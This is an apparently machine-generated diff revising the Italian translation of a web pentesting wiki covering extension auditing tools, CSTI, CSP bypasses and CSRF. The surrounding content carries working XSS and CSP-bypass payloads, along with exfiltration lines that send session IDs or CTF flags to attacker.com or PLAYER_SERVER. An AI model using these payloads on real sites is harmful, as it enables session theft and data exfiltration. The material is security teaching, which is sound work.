@@ -666,7 +666,7 @@ Anche se le Estensioni del Browser hanno una **superficie di attacco limitata**,
 
 - Estrae qualsiasi estensione di Chrome da un link fornito del Chrome webstore.
 - [**manifest.json**](https://developer.chrome.com/extensions/manifest) **visualizzatore**: visualizza semplicemente una versione JSON formattata del manifesto dell'estensione.
-- **Analisi delle Impronte Digitali**: Rilevamento di [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) e generazione automatica di JavaScript per l'impronta digitale delle estensioni di Chrome.
+- **Analisi del Fingerprint**: Rilevamento di [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) e generazione automatica di JavaScript per il fingerprinting delle estensioni di Chrome.
 - **Analisi Potenziale di Clickjacking**: Rilevamento di pagine HTML dell'estensione con la direttiva [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) impostata. Queste sono potenzialmente vulnerabili al clickjacking a seconda dello scopo delle pagine.
 - **Visualizzatore di Avvisi di Permesso**: che mostra un elenco di tutti gli avvisi di richiesta di autorizzazione di Chrome che verranno visualizzati quando un utente tenta di installare l'estensione.
 - **Funzione(i) Pericolosa(e)**: mostra la posizione delle funzioni pericolose che potrebbero essere potenzialmente sfruttate da un attaccante (ad es. funzioni come innerHTML, chrome.tabs.executeScript).
@@ -679,17 +679,17 @@ Anche se le Estensioni del Browser hanno una **superficie di attacco limitata**,
 - L'URI completo dell'estensione di Chrome del file avvisato.
 - Il tipo di file, come uno script di Pagina di Background, Content Script, Azione del Browser, ecc.
 - Se la riga vulnerabile è in un file JavaScript, i percorsi di tutte le pagine in cui è inclusa così come il tipo di queste pagine e lo stato di [web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources).
-- **Analizzatore e controllore di bypass della Content Security Policy (CSP)**: Questo evidenzierà le debolezze nella CSP della tua estensione e illuminerà anche eventuali modi potenziali per bypassare la tua CSP a causa di CDN autorizzati, ecc.
-- **Librerie Vulnerabili Conosciute**: Questo utilizza [Retire.js](https://retirejs.github.io/retire.js/) per controllare l'uso di librerie JavaScript note come vulnerabili.
+- **Analizzatore di Content Security Policy (CSP) e controllore di bypass**: Questo evidenzierà le debolezze nella CSP della tua estensione e illuminerà anche eventuali modi potenziali per bypassare la tua CSP a causa di CDN autorizzati, ecc.
+- **Librerie Vulnerabili Conosciute**: Questo utilizza [Retire.js](https://retirejs.github.io/retire.js/) per controllare eventuali utilizzi di librerie JavaScript note come vulnerabili.
 - Scarica estensione e versioni formattate.
 - Scarica l'estensione originale.
-- Scarica una versione abbellita dell'estensione (HTML e JavaScript auto formattati).
+- Scarica una versione formattata dell'estensione (HTML e JavaScript auto formattati).
 - Caching automatico dei risultati della scansione, eseguire una scansione dell'estensione richiederà un buon tempo la prima volta che la esegui. Tuttavia, la seconda volta, assumendo che l'estensione non sia stata aggiornata, sarà quasi istantanea grazie ai risultati memorizzati nella cache.
 - URL di Report linkabili, facilmente collegabili a qualcun altro per un report di estensione generato da tarnish.
 
 ### [Neto](https://github.com/elevenpaths/neto)
 
-Il progetto Neto è un pacchetto Python 3 concepito per analizzare e svelare funzionalità nascoste di plugin e estensioni del browser per browser ben noti come Firefox e Chrome. Automatizza il processo di estrazione dei file impacchettati per estrarre queste funzionalità da risorse pertinenti in un'estensione come `manifest.json`, cartelle di localizzazione o file sorgente Javascript e HTML.
+Il progetto Neto è un pacchetto Python 3 concepito per analizzare e svelare funzionalità nascoste dei plugin e delle estensioni del browser per browser ben noti come Firefox e Chrome. Automatizza il processo di estrazione dei file impacchettati per estrarre queste funzionalità da risorse pertinenti in un'estensione come `manifest.json`, cartelle di localizzazione o file sorgente Javascript e HTML.
 
 ## Riferimenti
 

src/pentesting-web/client-side-template-injection-csti.md

@@ -4,7 +4,7 @@
 
 ## Riepilogo
 
-È simile a un [**Server Side Template Injection**](ssti-server-side-template-injection/) ma nel **client**. Il **SSTI** può consentirti di **eseguire codice** sul server remoto, il **CSTI** potrebbe consentirti di **eseguire codice JavaScript arbitrario** nel browser della vittima.
+È simile a un [**Server Side Template Injection**](ssti-server-side-template-injection/index.html) ma nel **client**. Il **SSTI** può consentirti di **eseguire codice** sul server remoto, il **CSTI** potrebbe consentirti di **eseguire codice JavaScript arbitrario** nel browser della vittima.
 
 **Testare** questa vulnerabilità è molto **simile** al caso del **SSTI**, l'interprete si aspetta **un template** e lo eseguirà. Ad esempio, con un payload come `{{ 7-7 }}`, se l'app è **vulnerabile** vedrai un `0`, e se non lo è, vedrai l'originale: `{{ 7-7 }}`
 

src/pentesting-web/content-security-policy-csp-bypass/README.md

@@ -2,17 +2,17 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Cos'è CSP
+## What is CSP
 
-Content Security Policy (CSP) è riconosciuto come una tecnologia del browser, principalmente mirata a **proteggere contro attacchi come il cross-site scripting (XSS)**. Funziona definendo e dettagliando percorsi e fonti da cui le risorse possono essere caricate in modo sicuro dal browser. Queste risorse comprendono una gamma di elementi come immagini, frame e JavaScript. Ad esempio, una policy potrebbe consentire il caricamento e l'esecuzione di risorse dallo stesso dominio (self), inclusi risorse inline e l'esecuzione di codice stringa tramite funzioni come `eval`, `setTimeout` o `setInterval`.
+La Content Security Policy (CSP) è riconosciuta come una tecnologia del browser, principalmente mirata a **proteggere contro attacchi come il cross-site scripting (XSS)**. Funziona definendo e dettagliando percorsi e fonti da cui le risorse possono essere caricate in modo sicuro dal browser. Queste risorse comprendono una gamma di elementi come immagini, frame e JavaScript. Ad esempio, una policy potrebbe consentire il caricamento e l'esecuzione di risorse dallo stesso dominio (self), inclusi risorse inline e l'esecuzione di codice stringa tramite funzioni come `eval`, `setTimeout` o `setInterval`.
 
-L'implementazione di CSP avviene tramite **header di risposta** o incorporando **elementi meta nella pagina HTML**. Seguendo questa policy, i browser applicano proattivamente queste disposizioni e bloccano immediatamente eventuali violazioni rilevate.
+L'implementazione della CSP avviene tramite **header di risposta** o incorporando **elementi meta nella pagina HTML**. Seguendo questa policy, i browser applicano proattivamente queste disposizioni e bloccano immediatamente eventuali violazioni rilevate.
 
 - Implementato tramite header di risposta:
 ```
 Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
 ```
-- Implementato tramite meta tag:
+- Implementato tramite tag meta:
 ```xml
 <meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
 ```
@@ -52,12 +52,12 @@ object-src 'none';
 - **object-src**: Definisce le fonti consentite per gli elementi `<object>`, `<embed>`, e `<applet>`.
 - **base-uri**: Specifica gli URL consentiti per il caricamento utilizzando elementi `<base>`.
 - **form-action**: Elenca gli endpoint validi per le sottomissioni di moduli.
-- **plugin-types**: Limita i tipi mime che una pagina può invocare.
+- **plugin-types**: Limita i tipi MIME che una pagina può invocare.
 - **upgrade-insecure-requests**: Istruisce i browser a riscrivere gli URL HTTP in HTTPS.
 - **sandbox**: Applica restrizioni simili all'attributo sandbox di un `<iframe>`.
 - **report-to**: Specifica un gruppo a cui verrà inviato un rapporto se la politica viene violata.
 - **worker-src**: Specifica fonti valide per script Worker, SharedWorker o ServiceWorker.
-- **prefetch-src**: Specifica fonti valide per le risorse che verranno recuperate o pre-recuperate.
+- **prefetch-src**: Specifica fonti valide per le risorse che verranno recuperate o prelevate.
 - **navigate-to**: Limita gli URL a cui un documento può navigare con qualsiasi mezzo (a, modulo, window.location, window.open, ecc.)
 
 ### Fonti
@@ -126,7 +126,7 @@ Payload funzionante:
 ```
 ### strict-dynamic
 
-Se riesci in qualche modo a far sì che un **codice JS consentito crei un nuovo tag script** nel DOM con il tuo codice JS, poiché uno script consentito lo sta creando, il **nuovo tag script sarà autorizzato ad essere eseguito**.
+Se riesci in qualche modo a far sì che un **codice JS consentito crei un nuovo tag script** nel DOM con il tuo codice JS, poiché è uno script consentito a crearlo, il **nuovo tag script sarà autorizzato ad essere eseguito**.
 
 ### Wildcard (\*)
 ```yaml
@@ -149,11 +149,11 @@ Payload funzionanti:
 ">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
 <param name="AllowScriptAccess" value="always"></object>
 ```
-### Caricamento File + 'self'
+### Caricamento file + 'self'
 ```yaml
 Content-Security-Policy: script-src 'self';  object-src 'none' ;
 ```
-Se puoi caricare un file JS, puoi eludere questo CSP:
+Se puoi caricare un file JS, puoi bypassare questo CSP:
 
 Payload funzionante:
 ```markup
@@ -161,7 +161,7 @@ Payload funzionante:
 ```
 Tuttavia, è altamente probabile che il server **stia convalidando il file caricato** e permetterà solo di **caricare determinati tipi di file**.
 
-Inoltre, anche se potessi caricare un **codice JS all'interno** di un file con un'estensione accettata dal server (come: _script.png_), questo non sarà sufficiente perché alcuni server come il server Apache **selezionano il tipo MIME del file in base all'estensione** e browser come Chrome **rifiuteranno di eseguire codice Javascript** all'interno di qualcosa che dovrebbe essere un'immagine. "Speriamo", ci sono errori. Ad esempio, da un CTF ho appreso che **Apache non conosce** l'estensione _**.wave**_, quindi non la serve con un **tipo MIME come audio/\***.
+Inoltre, anche se potessi caricare un **codice JS all'interno** di un file utilizzando un'estensione accettata dal server (come: _script.png_), questo non sarà sufficiente perché alcuni server come il server apache **selezionano il tipo MIME del file in base all'estensione** e browser come Chrome **rifiuteranno di eseguire codice Javascript** all'interno di qualcosa che dovrebbe essere un'immagine. "Speriamo", ci sono errori. Ad esempio, da un CTF ho appreso che **Apache non conosce** l'estensione _**.wave**_, quindi non la serve con un **tipo MIME come audio/\***.
 
 Da qui, se trovi un XSS e un caricamento di file, e riesci a trovare un **estensione mal interpretata**, potresti provare a caricare un file con quell'estensione e il contenuto dello script. Oppure, se il server sta controllando il formato corretto del file caricato, crea un polyglot ([alcuni esempi di polyglot qui](https://github.com/Polydet/polyglot-database)).
 
@@ -260,7 +260,7 @@ b=doc.createElement("script");
 b.src="//example.com/evil.js";
 b.nonce=a.nonce; doc.body.appendChild(b)' />
 ```
-#### Abusare di www.google.com per redirect aperto
+#### Abusare di www.google.com per redirect aperti
 
 Il seguente URL reindirizza a example.com (da [qui](https://www.landh.tech/blog/20240304-google-hack-50000/)):
 ```
@@ -309,7 +309,7 @@ Ad esempio, se trovi la seguente CSP:
 ```
 Content-Security-Policy​: default-src 'self’ www.facebook.com;​
 ```
-o
+or
 ```
 Content-Security-Policy​: connect-src www.facebook.com;​
 ```
@@ -345,13 +345,13 @@ Questo funziona perché per il browser stai caricando un file chiamato `..%2fang
 
 ∑, lo decodificheranno, richiedendo effettivamente `https://example.com/scripts/react/../angular/angular.js`, che è equivalente a `https://example.com/scripts/angular/angular.js`.
 
-Sfruttando **questa incoerenza nell'interpretazione degli URL tra il browser e il server, le regole del percorso possono essere bypassate**.
+Sfruttando **questa incoerenza nell'interpretazione degli URL tra il browser e il server, le regole del percorso possono essere eluse**.
 
 La soluzione è non trattare `%2f` come `/` sul lato server, garantendo un'interpretazione coerente tra il browser e il server per evitare questo problema.
 
 Esempio online:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
 
-### Esecuzione JS negli Iframes
+### Esecuzione JS negli Iframe
 
 {{#ref}}
 ../xss-cross-site-scripting/iframes-in-xss-and-csp.md
@@ -359,7 +359,7 @@ Esempio online:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.
 
 ### mancante **base-uri**
 
-Se la direttiva **base-uri** è mancante, puoi abusarne per eseguire un [**dangling markup injection**](../dangling-markup-html-scriptless-injection/).
+Se la direttiva **base-uri** è mancante, puoi abusarne per eseguire un [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html).
 
 Inoltre, se la **pagina sta caricando uno script utilizzando un percorso relativo** (come `<script src="/js/app.js">`) utilizzando un **Nonce**, puoi abusare del **tag** **base** per farlo **caricare** lo script dal **tuo server, ottenendo un XSS.**\
 Se la pagina vulnerabile è caricata con **httpS**, utilizza un URL httpS nella base.
@@ -368,7 +368,7 @@ Se la pagina vulnerabile è caricata con **httpS**, utilizza un URL httpS nella
 ```
 ### AngularJS eventi
 
-Una politica specifica nota come Content Security Policy (CSP) può limitare gli eventi JavaScript. Tuttavia, AngularJS introduce eventi personalizzati come alternativa. All'interno di un evento, AngularJS fornisce un oggetto unico `$event`, che fa riferimento all'oggetto evento nativo del browser. Questo oggetto `$event` può essere sfruttato per eludere la CSP. È importante notare che, in Chrome, l'oggetto `$event/event` possiede un attributo `path`, che contiene un array di oggetti implicati nella catena di esecuzione dell'evento, con l'oggetto `window` invariabilmente posizionato alla fine. Questa struttura è fondamentale per le tattiche di fuga dalla sandbox.
+Una politica specifica nota come Content Security Policy (CSP) può limitare gli eventi JavaScript. Tuttavia, AngularJS introduce eventi personalizzati come alternativa. All'interno di un evento, AngularJS fornisce un oggetto unico `$event`, che fa riferimento all'oggetto evento nativo del browser. Questo oggetto `$event` può essere sfruttato per eludere la CSP. È importante notare che, in Chrome, l'oggetto `$event/event` possiede un attributo `path`, che contiene un array di oggetti implicati nella catena di esecuzione dell'evento, con l'oggetto `window` invariabilmente posizionato alla fine. Questa struttura è fondamentale per le tattiche di fuga dal sandbox.
 
 Dirigendo questo array al filtro `orderBy`, è possibile iterare su di esso, sfruttando l'elemento terminale (l'oggetto `window`) per attivare una funzione globale come `alert()`. Il frammento di codice dimostrato di seguito illustra questo processo:
 ```xml
@@ -383,7 +383,7 @@ Questo frammento evidenzia l'uso della direttiva `ng-focus` per attivare l'event
 ```
 Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
 ```
-Una politica CSP che autorizza domini per il caricamento di script in un'applicazione Angular JS può essere elusa attraverso l'invocazione di funzioni di callback e alcune classi vulnerabili. Ulteriori informazioni su questa tecnica possono essere trovate in una guida dettagliata disponibile su questo [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22).
+Una politica CSP che autorizza domini per il caricamento di script in un'applicazione Angular JS può essere elusa attraverso l'invocazione di funzioni di callback e alcune classi vulnerabili. Ulteriori informazioni su questa tecnica possono essere trovate in una guida dettagliata disponibile in questo [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22).
 
 Payload funzionanti:
 ```html
@@ -421,15 +421,15 @@ content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
 ```
 Se il CSP è impostato su `https://www.google.com/a/b/c/d`, poiché il percorso è considerato, sia gli script `/test` che `/a/test` saranno bloccati dal CSP.
 
-Tuttavia, il finale `http://localhost:5555/301` sarà **reindirizzato sul lato server a `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Poiché si tratta di un reindirizzamento, il **percorso non è considerato**, e lo **script può essere caricato**, bypassando così la restrizione del percorso.
+Tuttavia, il finale `http://localhost:5555/301` sarà **reindirizzato sul lato server a `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Poiché si tratta di un reindirizzamento, il **percorso non è considerato**, e lo **script può essere caricato**, eludendo così la restrizione del percorso.
 
-Con questo reindirizzamento, anche se il percorso è specificato completamente, sarà comunque bypassato.
+Con questo reindirizzamento, anche se il percorso è specificato completamente, verrà comunque eluso.
 
 Pertanto, la soluzione migliore è garantire che il sito web non abbia vulnerabilità di reindirizzamento aperto e che non ci siano domini che possano essere sfruttati nelle regole CSP.
 
-### Bypassare CSP con markup pendente
+### Eludere CSP con markup pendente
 
-Leggi [come qui](../dangling-markup-html-scriptless-injection/).
+Leggi [come qui](../dangling-markup-html-scriptless-injection/index.html).
 
 ### 'unsafe-inline'; img-src \*; tramite XSS
 ```
@@ -437,7 +437,7 @@ default-src 'self' 'unsafe-inline'; img-src *;
 ```
 `'unsafe-inline'` significa che puoi eseguire qualsiasi script all'interno del codice (XSS può eseguire codice) e `img-src *` significa che puoi utilizzare nella pagina web qualsiasi immagine da qualsiasi risorsa.
 
-Puoi bypassare questo CSP esfiltrando i dati tramite immagini (in questa occasione l'XSS abusa di un CSRF dove una pagina accessibile dal bot contiene un SQLi, e estrae il flag tramite un'immagine):
+Puoi bypassare questo CSP esfiltrando i dati tramite immagini (in questa occasione l'XSS sfrutta un CSRF dove una pagina accessibile dal bot contiene un SQLi, e estrae il flag tramite un'immagine):
 ```javascript
 <script>
 fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
@@ -446,7 +446,7 @@ Image().src='http://PLAYER_SERVER/?'+_)
 ```
 Da: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
 
-Potresti anche abusare di questa configurazione per **caricare codice javascript inserito all'interno di un'immagine**. Se, ad esempio, la pagina consente di caricare immagini da Twitter. Potresti **creare** un **immagine speciale**, **caricarla** su Twitter e abusare dell' "**unsafe-inline**" per **eseguire** un codice JS (come un normale XSS) che **caricherà** l' **immagine**, **estrarrà** il **JS** da essa e **lo eseguirà**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
+Potresti anche abusare di questa configurazione per **caricare codice javascript inserito all'interno di un'immagine**. Se, ad esempio, la pagina consente di caricare immagini da Twitter. Potresti **creare** un **immagine speciale**, **caricarla** su Twitter e abusare del "**unsafe-inline**" per **eseguire** un codice JS (come un normale XSS) che **caricherà** l'**immagine**, **estrarrà** il **JS** da essa e **eseguirà** **esso**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
 
 ### Con i Service Workers
 
@@ -478,7 +478,7 @@ Esempio: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3
 ### img-src \*; via XSS (iframe) - Attacco temporale
 
 Nota l'assenza della direttiva `'unsafe-inline'`\
-Questa volta puoi far **caricare** una pagina sotto il **tuo controllo** tramite **XSS** con un `<iframe`. Questa volta farai accedere la vittima alla pagina da cui vuoi estrarre informazioni (**CSRF**). Non puoi accedere al contenuto della pagina, ma se in qualche modo puoi **controllare il tempo necessario per caricare la pagina** puoi estrarre le informazioni di cui hai bisogno.
+Questa volta puoi far **caricare** alla vittima una pagina sotto **il tuo controllo** tramite **XSS** con un `<iframe`. Questa volta farai accedere la vittima alla pagina da cui vuoi estrarre informazioni (**CSRF**). Non puoi accedere al contenuto della pagina, ma se in qualche modo puoi **controllare il tempo necessario per caricare la pagina** puoi estrarre le informazioni di cui hai bisogno.
 
 Questa volta una **flag** verrà estratta, ogni volta che un **carattere viene indovinato correttamente** tramite SQLi la **risposta** richiede **più tempo** a causa della funzione di sleep. Poi, sarai in grado di estrarre la flag:
 ```html
@@ -542,13 +542,13 @@ run()
 ```
 ### Via Bookmarklets
 
-Questo attacco implicherebbe un po' di ingegneria sociale in cui l'attaccante **convince l'utente a trascinare e rilasciare un link sopra il bookmarklet del browser**. Questo bookmarklet conterrà **codice javascript malevolo** che, quando trascinato e rilasciato o cliccato, verrebbe eseguito nel contesto della finestra web attuale, **bypassando CSP e permettendo di rubare informazioni sensibili** come cookie o token.
+Questo attacco implicherebbe un po' di ingegneria sociale in cui l'attaccante **convince l'utente a trascinare e rilasciare un link sopra il bookmarklet del browser**. Questo bookmarklet conterrà **codice javascript malevolo** che, quando trascinato e rilasciato o cliccato, verrebbe eseguito nel contesto della finestra web attuale, **bypassando CSP e consentendo di rubare informazioni sensibili** come cookie o token.
 
 Per ulteriori informazioni [**controlla il rapporto originale qui**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
 
 ### Bypass CSP limitando CSP
 
-In [**questo writeup CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP viene bypassato iniettando all'interno di un iframe consentito un CSP più restrittivo che non consentiva di caricare un file JS specifico che, poi, tramite **prototype pollution** o **dom clobbering** permetteva di **abusare di un altro script per caricare uno script arbitrario**.
+In [**questo writeup CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP viene bypassato iniettando all'interno di un iframe consentito un CSP più restrittivo che non consentiva di caricare un file JS specifico che, poi, tramite **prototype pollution** o **dom clobbering** consentiva di **abusare di uno script diverso per caricare uno script arbitrario**.
 
 Puoi **limitare un CSP di un Iframe** con l'attributo **`csp`**:
 ```html
@@ -556,8 +556,8 @@ Puoi **limitare un CSP di un Iframe** con l'attributo **`csp`**:
 src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
 csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
 ```
-In [**questo CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), è stato possibile tramite **HTML injection** **ristretta** ulteriormente una **CSP** in modo che uno script che preveniva CSTI fosse disabilitato e quindi la **vulnerabilità è diventata sfruttabile.**\
-La CSP può essere resa più restrittiva utilizzando **HTML meta tags** e gli script inline possono essere disabilitati **rimuovendo** l'**entry** che consente il loro **nonce** e **abilitando script inline specifici tramite sha**:
+In [**questo CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), è stato possibile tramite **HTML injection** **ristretta** ulteriormente una **CSP** così uno script che preveniva CSTI è stato disabilitato e quindi la **vulnerabilità è diventata sfruttabile.**\
+La CSP può essere resa più restrittiva utilizzando **HTML meta tags** e gli script inline possono disabilitare **rimuovendo** l'**entry** che consente il loro **nonce** e **abilitare specifici script inline tramite sha**:
 ```html
 <meta
 http-equiv="Content-Security-Policy"
@@ -580,18 +580,18 @@ document.querySelector("DIV").innerHTML =
 ### Leaking Information with CSP and Iframe
 
 - Un `iframe` viene creato che punta a un URL (chiamiamolo `https://example.redirect.com`) che è permesso da CSP.
-- Questo URL poi reindirizza a un URL segreto (ad esempio, `https://usersecret.example2.com`) che **non è consentito** da CSP.
-- Ascoltando l'evento `securitypolicyviolation`, si può catturare la proprietà `blockedURI`. Questa proprietà rivela il dominio dell'URI bloccato, facendo trapelare il dominio segreto a cui l'URL iniziale ha reindirizzato.
+- Questo URL poi reindirizza a un URL segreto (ad es., `https://usersecret.example2.com`) che **non è consentito** da CSP.
+- Ascoltando l'evento `securitypolicyviolation`, si può catturare la proprietà `blockedURI`. Questa proprietà rivela il dominio dell'URI bloccato, rivelando il dominio segreto a cui l'URL iniziale ha reindirizzato.
 
 È interessante notare che browser come Chrome e Firefox hanno comportamenti diversi nella gestione degli iframe rispetto a CSP, portando a potenziali perdite di informazioni sensibili a causa di comportamenti non definiti.
 
-Un'altra tecnica coinvolge lo sfruttamento del CSP stesso per dedurre il sottodominio segreto. Questo metodo si basa su un algoritmo di ricerca binaria e sull'aggiustamento del CSP per includere domini specifici che sono deliberatamente bloccati. Ad esempio, se il sottodominio segreto è composto da caratteri sconosciuti, puoi testare iterativamente diversi sottodomini modificando la direttiva CSP per bloccare o consentire questi sottodomini. Ecco un frammento che mostra come il CSP potrebbe essere impostato per facilitare questo metodo:
+Un'altra tecnica coinvolge lo sfruttamento della CSP stessa per dedurre il sottodominio segreto. Questo metodo si basa su un algoritmo di ricerca binaria e sull'aggiustamento della CSP per includere domini specifici che sono deliberatamente bloccati. Ad esempio, se il sottodominio segreto è composto da caratteri sconosciuti, puoi testare iterativamente diversi sottodomini modificando la direttiva CSP per bloccare o consentire questi sottodomini. Ecco un frammento che mostra come la CSP potrebbe essere impostata per facilitare questo metodo:
 ```markdown
 img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
 ```
-Monitorando quali richieste sono bloccate o consentite dal CSP, si può restringere il campo ai possibili caratteri nel sottodominio segreto, rivelando infine l'URL completo.
+Monitorando quali richieste sono bloccate o consentite dal CSP, si può restringere il campo dei possibili caratteri nel sottodominio segreto, scoprendo infine l'URL completo.
 
-Entrambi i metodi sfruttano le sfumature dell'implementazione e del comportamento del CSP nei browser, dimostrando come politiche apparentemente sicure possano involontariamente leak informazioni sensibili.
+Entrambi i metodi sfruttano le sfumature dell'implementazione e del comportamento del CSP nei browser, dimostrando come politiche apparentemente sicure possano involontariamente leakare informazioni sensibili.
 
 Trick da [**qui**](https://ctftime.org/writeup/29310).
 
@@ -603,8 +603,8 @@ Secondo l'[**ultima tecnica commentata in questo video**](https://www.youtube.co
 
 ### Sovraccarico del buffer di risposta PHP
 
-PHP è noto per **bufferizzare la risposta fino a 4096** byte per impostazione predefinita. Pertanto, se PHP mostra un avviso, fornendo **dati sufficienti all'interno degli avvisi**, la **risposta** verrà **inviata** **prima** dell'**intestazione CSP**, causando l'ignoranza dell'intestazione.\
-Quindi, la tecnica consiste fondamentalmente nel **riempire il buffer di risposta con avvisi** in modo che l'intestazione CSP non venga inviata.
+PHP è noto per **bufferizzare la risposta a 4096** byte per impostazione predefinita. Pertanto, se PHP mostra un avviso, fornendo **dati sufficienti all'interno degli avvisi**, la **risposta** verrà **inviata** **prima** dell'**header CSP**, causando l'ignoranza dell'header.\
+Quindi, la tecnica consiste fondamentalmente nel **riempire il buffer di risposta con avvisi** in modo che l'header CSP non venga inviato.
 
 Idea da [**questo writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
 
@@ -625,9 +625,9 @@ SOME è una tecnica che sfrutta un XSS (o un XSS altamente limitato) **in un end
 ../xss-cross-site-scripting/some-same-origin-method-execution.md
 {{#endref}}
 
-Inoltre, **wordpress** ha un endpoint **JSONP** in `/wp-json/wp/v2/users/1?_jsonp=data` che **riflette** i **dati** inviati nell'output (con la limitazione di solo lettere, numeri e punti).
+Inoltre, **wordpress** ha un **endpoint JSONP** in `/wp-json/wp/v2/users/1?_jsonp=data` che **riflette** i **dati** inviati nell'output (con la limitazione di solo lettere, numeri e punti).
 
-Un attaccante può sfruttare quell'endpoint per **generare un attacco SOME** contro WordPress e **incorporarlo** all'interno di `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` nota che questo **script** sarà **caricato** perché è **consentito da 'self'**. Inoltre, e poiché WordPress è installato, un attaccante potrebbe sfruttare l'**attacco SOME** attraverso l'endpoint **callback vulnerabile** che **bypassa il CSP** per dare più privilegi a un utente, installare un nuovo plugin...\
+Un attaccante può sfruttare quell'endpoint per **generare un attacco SOME** contro WordPress e **incorporarlo** all'interno di `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` nota che questo **script** sarà **caricato** perché è **consentito da 'self'**. Inoltre, e poiché WordPress è installato, un attaccante potrebbe sfruttare l'**attacco SOME** attraverso l'**endpoint callback vulnerabile** che **bypassa il CSP** per dare più privilegi a un utente, installare un nuovo plugin...\
 Per ulteriori informazioni su come eseguire questo attacco, controlla [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
 
 ## CSP Exfiltration Bypasses
@@ -643,13 +643,13 @@ document.location = "https://attacker.com/?" + sessionid
 ```
 ### Meta tag
 
-Puoi reindirizzare iniettando un meta tag (questo è solo un reindirizzamento, non perderà contenuto)
+Puoi reindirizzare iniettando un meta tag (questo è solo un reindirizzamento, non farà trapelare contenuti)
 ```html
 <meta http-equiv="refresh" content="1; http://attacker.com" />
 ```
 ### DNS Prefetch
 
-Per caricare le pagine più velocemente, i browser pre-risolveranno i nomi host in indirizzi IP e li memorizzeranno nella cache per un uso successivo.\
+Per caricare le pagine più velocemente, i browser pre-risolveranno i nomi host in indirizzi IP e li memorizzeranno per un uso successivo.\
 Puoi indicare a un browser di pre-risolvere un nome host con: `<link rel="dns-prefetch" href="something.com">`
 
 Potresti abusare di questo comportamento per **esfiltrare informazioni sensibili tramite richieste DNS**:
@@ -680,7 +680,7 @@ X-DNS-Prefetch-Control: off
 
 Su diverse pagine puoi leggere che **WebRTC non controlla la politica `connect-src`** del CSP.
 
-In realtà puoi _leak_ informazioni utilizzando una _richiesta DNS_. Dai un'occhiata a questo codice:
+In realtà puoi _leak_ informazioni utilizzando una _richiesta DNS_. Controlla questo codice:
 ```javascript
 ;(async () => {
 p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })

src/pentesting-web/csrf-cross-site-request-forgery.md

@@ -4,7 +4,7 @@
 
 ## Cross-Site Request Forgery (CSRF) Spiegato
 
-**Cross-Site Request Forgery (CSRF)** è un tipo di vulnerabilità di sicurezza presente nelle applicazioni web. Consente agli attaccanti di eseguire azioni per conto di utenti ignari sfruttando le loro sessioni autenticate. L'attacco viene eseguito quando un utente, che è loggato su una piattaforma vittima, visita un sito malevolo. Questo sito attiva quindi richieste all'account della vittima attraverso metodi come l'esecuzione di JavaScript, l'invio di moduli o il recupero di immagini.
+**Cross-Site Request Forgery (CSRF)** è un tipo di vulnerabilità di sicurezza presente nelle applicazioni web. Consente agli attaccanti di eseguire azioni per conto di utenti ignari sfruttando le loro sessioni autenticate. L'attacco viene eseguito quando un utente, che è loggato nella piattaforma di una vittima, visita un sito malevolo. Questo sito attiva quindi richieste all'account della vittima attraverso metodi come l'esecuzione di JavaScript, l'invio di moduli o il recupero di immagini.
 
 ### Requisiti per un Attacco CSRF
 
@@ -25,9 +25,9 @@ Puoi **catturare la richiesta in Burp** e controllare le protezioni CSRF e per t
